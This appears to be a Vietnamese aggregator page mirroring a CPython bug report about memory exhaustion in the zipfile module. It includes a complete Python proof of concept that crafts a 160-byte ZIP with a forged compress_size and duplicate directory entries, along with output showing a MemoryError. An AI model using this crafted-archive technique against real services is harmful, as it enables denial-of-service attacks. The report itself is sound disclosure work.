python / python/cpython

Memory Exhaustion in zipfile via Forged compress_size

Đang mở
#151,307 1 bình luận 0 reaction 0 người được giao Xem trên GitHub

Chưa có ai nhận issue này.

stdlib type-bug
Ngôn ngữ chính
Python
Star
77.2k
Fork
35.9k
Chỉ số merge pull request
Chỉ số pull request đang chờ

Mô tả

Bug report

Bug description:
Summary

A short ZIP file forces Python's zipfile module to attempt a ~2 GiB heap allocation.

Details

ZipExtFile._read2() passes a user-controlled compress_size from the central directory to self._fileobj.read(n). On 3.14 builds, ZipExtFile.MAX_N caps a single request at 1 GiB. On 3.15, this was corrected to (1 << 31) - 1 = ~2 GiB. A 160-byte crafted ZIP claiming compress_size=0xFFFFFFFE triggers a ~1 GiB (3.14) or ~2 GiB (3.15) allocation attempt.
Note: The overlap check is bypassed using two CD entries with the same filename and header_offset=0, the first entry (forged sizes) gets _end_offset == header_offset, triggering only a warning.

Reproducer
"""
Memory exhaustion in zipfile via crafted compress_size field.
"""

import resource
import struct
import sys
import tempfile
import zipfile


CLAIMED_SIZE = 0xFFFF_FFFE
MEM_LIMIT = 256 * 1024 * 1024  # 256 MiB


def craft_malicious_zip(claimed_compress_size: int) -> bytes:
    """
    Build a minimal valid ZIP with two CD entries.
    """
    filename = b"a.txt"
    file_data = b"x"
    real_size = len(file_data)

    local_header = struct.pack(
        "<4s2B4HL2L2H",
        b"PK\x03\x04",
        20, 0, 0, 0, 0, 0, 0,
        real_size, real_size,
        len(filename), 0,
    )

    cd_offset = len(local_header) + len(filename) + len(file_data)

    cd_entry_forged = struct.pack(
        "<4s4B4HL2L5H2L",
        b"PK\x01\x02",
        20, 0, 20, 0,
        0, 0, 0, 0, 0,
        claimed_compress_size,
        claimed_compress_size,
        len(filename),
        0, 0, 0, 0, 0,
        0,
    )

    cd_entry_normal = struct.pack(
        "<4s4B4HL2L5H2L",
        b"PK\x01\x02",
        20, 0, 20, 0,
        0, 0, 0, 0, 0,
        real_size,
        real_size,
        len(filename),
        0, 0, 0, 0, 0,
        0,
    )

    real_cd_size = (
        len(cd_entry_forged) + len(filename)
        + len(cd_entry_normal) + len(filename)
    )

    eocd = struct.pack(
        "<4s4H2LH",
        b"PK\x05\x06",
        0, 0, 2, 2,
        real_cd_size, cd_offset, 0,
    )

    return (
        local_header + filename + file_data
        + cd_entry_forged + filename
        + cd_entry_normal + filename
        + eocd
    )


def main():
    malicious_zip = craft_malicious_zip(CLAIMED_SIZE)

    with tempfile.NamedTemporaryFile(suffix=".zip") as tmp:
        tmp.write(malicious_zip)
        tmp.flush()

        try:
            with zipfile.ZipFile(tmp.name, "r") as zf:
                forged = zf.filelist[0]
                with zf.open(forged) as f:
                    f.read()
        except MemoryError:
            print(
                f"MemoryError from {len(malicious_zip)}-byte ZIP "
                f"with compress_size={CLAIMED_SIZE:,}"
            )
            sys.exit(0)
        except Exception:
            print("BLOCKED: zipfile rejected forged compress_size")
            sys.exit(1)

    print("BLOCKED: no allocation error raised")
    sys.exit(1)


if __name__ == "__main__":
    resource.setrlimit(resource.RLIMIT_AS, (MEM_LIMIT, MEM_LIMIT))
    main()

Due to how RLIMIT works, that's better to run the poc in a container.

❯ docker run --rm -v "$(pwd)":/work -w /work python:3.14-slim python poc.py
/work/poc.py:92: UserWarning: Overlapped entries: 'a.txt' (possible zip bomb)
  with zf.open(forged) as f:
MemoryError from 160-byte ZIP with compress_size=4,294,967,294
Impact

Memory Exhaustion

Linked issues

https://github.com/python/cpython/issues/141713

/cc @serhiy-storchaka

CPython versions tested on:

3.15

Operating systems tested on:

macOS, Linux

Linked PRs
  • gh-151509

Hướng dẫn đóng góp

Mở hướng dẫn đóng góp

Bắt đầu từ đâu

  1. Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
  2. Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
  3. Fork repository và làm thay đổi trên một nhánh.
  4. Mở pull request có tham chiếu số hiệu của issue.

Hướng nghiên cứu

Bắt đầu từ ZipExtFile._read2() trong mô-đun zipfile và tái hiện hành vi bằng ZIP được tạo sẵn đã cung cấp trong giới hạn bộ nhớ nêu trên. Xem lại issue 141713 và pull request gh-151509 để nắm hướng hiện tại. Công việc được xem là hoàn tất khi compress_size giả mạo không còn gây ra việc cấp phát lớn hoặc cạn kiệt bộ nhớ như đã minh họa.

Do mô hình lập chỉ mục viết ra từ nội dung của issue.

Đánh giá

Công nghệ
python
Lĩnh vực
security
Loại issue
Lỗi
Độ khó
4/5
Thời gian dự kiến
3-5 ngày
Mức độ hoạt động
Đình trệ
Độ rõ ràng
Khá rõ ràng
Mức phù hợp với người mới
25/100

Nhận issue mới trong hộp thư của bạn

Bản tóm tắt ngắn những issue GitHub phù hợp với người mới.